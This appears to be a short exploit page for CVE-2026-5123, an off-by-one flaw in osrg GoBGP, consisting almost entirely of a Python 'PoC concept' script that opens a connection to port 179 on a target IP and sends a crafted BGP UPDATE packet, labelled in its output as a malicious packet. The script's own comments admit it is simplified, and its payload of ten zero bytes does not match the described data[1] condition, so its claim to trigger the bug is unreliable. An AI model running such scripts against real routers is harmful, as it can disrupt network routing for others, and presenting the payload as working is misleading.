CVE-2026-5123 osrg GoBGP off-by-one漏洞

import socket import struct # PoC Concept for CVE-2026-5123 # This script demonstrates sending a crafted BGP packet to potentially trigger the off-by-one error. # Note: Actual exploitation requires precise packet construction based on the vulnerable code path. def send_exploit(target_ip, target_port=179): try: # Create a raw socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # BGP Header: Marker (16 bytes) + Length (2 bytes) + Type (1 byte) marker = b'\xff' * 16 # Type 2 = UPDATE message, commonly used for complex parsing msg_type = b'\x02' # Constructing a payload that manipulates data[1] to trigger off-by-one # This is a simplified representation. The actual 'data' refers to the # byte slice inside the DecodeFromBytes method. # We simulate a condition where the length or specific fields cause the index error. # Example malformed payload structure # The vulnerability specifically mentions manipulating argument data[1] # We craft a body that attempts to hit the specific boundary condition. body_payload = b'\x00' * 10 # Padding # Total length calculation length = struct.pack('!H', 19 + len(body_payload)) packet = marker + length + msg_type + body_payload s.send(packet) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") response = s.recv(1024) print(f"[+] Received response: {response}") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP send_exploit(target)